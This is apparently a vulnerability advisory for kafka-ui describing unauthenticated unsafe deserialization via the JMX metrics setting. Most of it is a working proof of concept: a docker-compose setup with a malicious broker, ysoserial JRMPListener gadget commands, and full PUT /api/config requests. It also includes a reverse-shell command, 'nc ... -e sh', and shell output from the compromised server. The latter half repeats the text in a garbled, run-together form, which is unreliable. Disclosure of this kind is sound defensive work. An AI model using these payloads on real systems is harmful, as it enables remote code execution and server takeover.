Summary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details
kafka-ui support dynamic change configuration of a cluster or craete a new cluster. Suppose we have a evil kafka cluster, add this cluster to kafka-ui and in the Metrices
config of a cluster, we can set the metrices type to JMX then click submit. And after that, the kafka-ui will connect to the cluster, and connect to the JMX server that specied by the evil kafka cluster, i.e. jmx:rmi:///jndi/rmi://10.3.225.50:1719/jmxrmi
, this can be set with enviroment variable KAFKA_ADVERTISED_LISTENERS.
PoC
To reproduce this vulnerability, we need to use a modified ysoserial, you can download it from https://github.com/trganda/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-all.jar (run with jdk8)
- Startup a kafka-ui with docker compose, this docker-compose.yml file was modified from https://github.com/kafbat/kafka-ui/blob/main/.dev/dev_arm64.yaml, I have add a malicious kafka named
kafka-malicious-broker
, you should replace 10.3.225.50 to a host that can be access from container. And the ./scripts/update_run.sh
was copy from https://github.com/kafbat/kafka-ui/blob/main/documentation/compose/scripts/update_run.sh.
version: '3.8'
name: "kafbat-ui-dev"
services:
zookeeper:
image: 'confluentinc/cp-zookeeper:7.6.1'
environment:
ZOOKEEPER_CLIENT_PORT: 2181
kafbat-ui:
container_name: kafbat-ui
image: ghcr.io/kafbat/kafka-ui:latest
ports:
- 8080:8080
- 5005:5005
depends_on:
- kafka0
- schema-registry0
- kafka-connect0
- ksqldb0
environment:
KAFKA_CLUSTERS_0_NAME: local
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka0:29092
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
KAFKA_CLUSTERS_0_SCHEMAREGISTRY: http://schema-registry0:8085
KAFKA_CLUSTERS_0_KAFKACONNECT_0_NAME: first
KAFKA_CLUSTERS_0_KAFKACONNECT_0_ADDRESS: http://kafka-connect0:8083
KAFKA_CLUSTERS_0_KSQLDBSERVER: http://ksqldb0:8088
DYNAMIC_CONFIG_ENABLED: 'true'
KAFKA_CLUSTERS_0_AUDIT_TOPICAUDITENABLED: 'true'
KAFKA_CLUSTERS_0_AUDIT_CONSOLEAUDITENABLED: 'true'
JAVA_TOOL_OPTIONS: '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005'
kafka0:
image: confluentinc/cp-kafka:7.2.1.arm64
hostname: kafka0
container_name: kafka0
ports:
- 9092:9092
- 9997:9997
environment:
KAFKA_BROKER_ID: 1
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,CONTROLLER:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka0:29092,PLAINTEXT_HOST://localhost:9092
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
KAFKA_GROUP_INITIAL_REBALANCE_DELAY_MS: 0
KAFKA_TRANSACTION_STATE_LOG_MIN_ISR: 1
KAFKA_TRANSACTION_STATE_LOG_REPLICATION_FACTOR: 1
KAFKA_PROCESS_ROLES: 'broker,controller'
KAFKA_NODE_ID: 1
KAFKA_CONTROLLER_QUORUM_VOTERS: '1@kafka0:29093'
KAFKA_LISTENERS: 'PLAINTEXT://kafka0:29092,CONTROLLER://kafka0:29093,PLAINTEXT_HOST://0.0.0.0:9092'
KAFKA_CONTROLLER_LISTENER_NAMES: 'CONTROLLER'
KAFKA_LOG_DIRS: '/tmp/kraft-combined-logs'
KAFKA_JMX_PORT: 9997
# KAFKA_JMX_HOSTNAME: localhost # uncomment this line and comment the next one if running with kafka-ui as a jar
KAFKA_JMX_OPTS: -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -Djava.rmi.server.hostname=kafka0 -Dcom.sun.management.jmxremote.rmi.port=9997
volumes:
- ./scripts/update_run.sh:/tmp/update_run.sh
command: "bash -c 'if [ ! -f /tmp/update_run.sh ]; then echo \"ERROR: Did you forget the update_run.sh file that came with this docker-compose.yml file?\" && exit 1 ; else /tmp/update_run.sh && /etc/confluent/docker/run ; fi'"
kafka-malicious-broker:
image: 'confluentinc/cp-kafka:7.2.1.arm64'
depends_on:
- zookeeper
ports:
- 9093:9093
environment:
KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://10.3.225.50:9093
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
schema-registry0:
image: confluentinc/cp-schema-registry:7.2.1.arm64
ports:
- 8085:8085
depends_on:
- kafka0
environment:
SCHEMA_REGISTRY_KAFKASTORE_BOOTSTRAP_SERVERS: PLAINTEXT://kafka0:29092
SCHEMA_REGISTRY_KAFKASTORE_SECURITY_PROTOCOL: PLAINTEXT
SCHEMA_REGISTRY_HOST_NAME: schema-registry0
SCHEMA_REGISTRY_LISTENERS: http://schema-registry0:8085
SCHEMA_REGISTRY_SCHEMA_REGISTRY_INTER_INSTANCE_PROTOCOL: "http"
SCHEMA_REGISTRY_LOG4J_ROOT_LOGLEVEL: INFO
SCHEMA_REGISTRY_KAFKASTORE_TOPIC: _schemas
kafka-connect0:
image: confluentinc/cp-kafka-connect:7.2.1.arm64
ports:
- 8083:8083
depends_on:
- kafka0
- schema-registry0
environment:
CONNECT_BOOTSTRAP_SERVERS: kafka0:29092
CONNECT_GROUP_ID: compose-connect-group
CONNECT_CONFIG_STORAGE_TOPIC: _connect_configs
CONNECT_CONFIG_STORAGE_REPLICATION_FACTOR: 1
CONNECT_OFFSET_STORAGE_TOPIC: _connect_offset
CONNECT_OFFSET_STORAGE_REPLICATION_FACTOR: 1
CONNECT_STATUS_STORAGE_TOPIC: _connect_status
CONNECT_STATUS_STORAGE_REPLICATION_FACTOR: 1
CONNECT_KEY_CONVERTER: org.apache.kafka.connect.storage.StringConverter
CONNECT_KEY_CONVERTER_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
CONNECT_VALUE_CONVERTER: org.apache.kafka.connect.storage.StringConverter
CONNECT_VALUE_CONVERTER_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
CONNECT_INTERNAL_KEY_CONVERTER: org.apache.kafka.connect.json.JsonConverter
CONNECT_INTERNAL_VALUE_CONVERTER: org.apache.kafka.connect.json.JsonConverter
CONNECT_REST_ADVERTISED_HOST_NAME: kafka-connect0
CONNECT_PLUGIN_PATH: "/usr/share/java,/usr/share/confluent-hub-components,/usr/local/share/kafka/plugins,/usr/share/filestream-connectors"
ksqldb0:
image: confluentinc/ksqldb-server:0.18.0
depends_on:
- kafka0
- kafka-connect0
- schema-registry0
environment:
KSQL_CUB_KAFKA_TIMEOUT: 120
KSQL_LISTENERS: http://0.0.0.0:8088
KSQL_BOOTSTRAP_SERVERS: PLAINTEXT://kafka0:29092
KSQL_KSQL_LOGGING_PROCESSING_STREAM_AUTO_CREATE: "true"
KSQL_KSQL_LOGGING_PROCESSING_TOPIC_AUTO_CREATE: "true"
KSQL_KSQL_CONNECT_URL: http://kafka-connect0:8083
KSQL_KSQL_SCHEMA_REGISTRY_URL: http://schema-registry0:8085
KSQL_KSQL_SERVICE_ID: my_ksql_1
KSQL_KSQL_HIDDEN_TOPICS: '^_.*'
KSQL_CACHE_MAX_BYTES_BUFFERING: 0
- Setup a malicious jmx server with ysoserial
java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1718 ScalaProperties "org.apache.commons.collections.enableUnsafeSerialization:true"
- Send the request below to kafka-ui
PUT /api/config HTTP/1.1
Host: localhost:8080
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
Content-Length: 613
{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka0:29092","schemaRegistry":"http://schema-registry0:8085","ksqldbServer":"http://ksqldb0:8088","kafkaConnect":[{"name":"first","address":"http://kafka-connect0:8083"}],"metrics":{"type":"JMX","port":9997},"properties":{},"readOnly":false,"audit":{"topicAuditEnabled":true,"consoleAuditEnabled":true,"auditTopicProperties":{}}},{"name":"poc","bootstrapServers":"kafka-malicious-broker:9093","metrics":{"type":"JMX","port":1718},"properties":{},"readOnly":false}]}}}}
and you will see the ysoserial
print log that indicate we received a connection from kafka-ui, and we have used the gadget ScalaProperties
to modified the system property org.apache.commons.collections.enableUnsafeSerialization:true
Have connection from /10.3.225.50:59046
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
- Setup another malicious jmx server with ysoserial to exploit, we can get a reverse shell by this gadget
java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc 10.3.225.50 9094 -e sh"
- Listening on 9094 on host 10.3.225.50
- Send below request, change the JMX port to 1719
PUT /api/config HTTP/1.1
Host: localhost:8080
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Language: en-US,en;q=0.9
Content-Length: 613
{"config":{"properties":{"auth":{"type":"DISABLED"},"rbac":{"roles":[]},"webclient":{},"kafka":{"clusters":[{"name":"local","bootstrapServers":"kafka0:29092","schemaRegistry":"http://schema-registry0:8085","ksqldbServer":"http://ksqldb0:8088","kafkaConnect":[{"name":"first","address":"http://kafka-connect0:8083"}],"metrics":{"type":"JMX","port":9997},"properties":{},"readOnly":false,"audit":{"topicAuditEnabled":true,"consoleAuditEnabled":true,"auditTopicProperties":{}}},{"name":"poc","bootstrapServers":"kafka-malicious-broker:9093","metrics":{"type":"JMX","port":1719},"properties":{},"readOnly":false}]}}}}
Similarly, the kafka-ui will connect to 10.3.225.50:1719
, and the ysoserial will print something like:
Have connection from /10.3.225.50:52300
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
and you will receve a reverse shell from kafka-ui on 10.3.225.50:9094
nc -lvv 9094
id
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
whoami
kafkaui
Impact
Exploit this vulnerability, we could execution arbitrary command on kafka-ui server
Summary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server.
Details
kafka-ui support dynamic change configuration of a cluster or craete a new cluster. Suppose we have a evil kafka cluster, add this cluster to kafka-ui and in the
Metrices
config of a cluster, we can set the metrices type to JMX then click submit. And after that, the kafka-ui will connect to the cluster, and connect to the JMX server that specied by the evil kafka cluster, i.e.jmx:rmi:///jndi/rmi://10.3.225.50:1719/jmxrmi
, this can be set with enviroment variable KAFKA_ADVERTISED_LISTENERS.PoC
kafka-malicious-broker
, you should replace 10.3.225.50 to a host that can be access from container. And the./scripts/update_run.sh
was copy from https://github.com/kafbat/kafka-ui/blob/main/documentation/compose/scripts/update_run.sh.java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1718 ScalaProperties "org.apache.commons.collections.enableUnsafeSerialization:true"
and you will see the
ysoserial
print log that indicate we received a connection from kafka-ui, and we have used the gadgetScalaProperties
to modified the system propertyorg.apache.commons.collections.enableUnsafeSerialization:true
java -cp ysoserial-0.0.6-all.jar ysoserial.exploit.JRMPListener 1719 CommonsCollections7 "nc 10.3.225.50 9094 -e sh"
Similarly, the kafka-ui will connect to
10.3.225.50:1719
, and the ysoserial will print something like:and you will receve a reverse shell from kafka-ui on 10.3.225.50:9094
Impact
Exploit this vulnerability, we could execution arbitrary command on kafka-ui server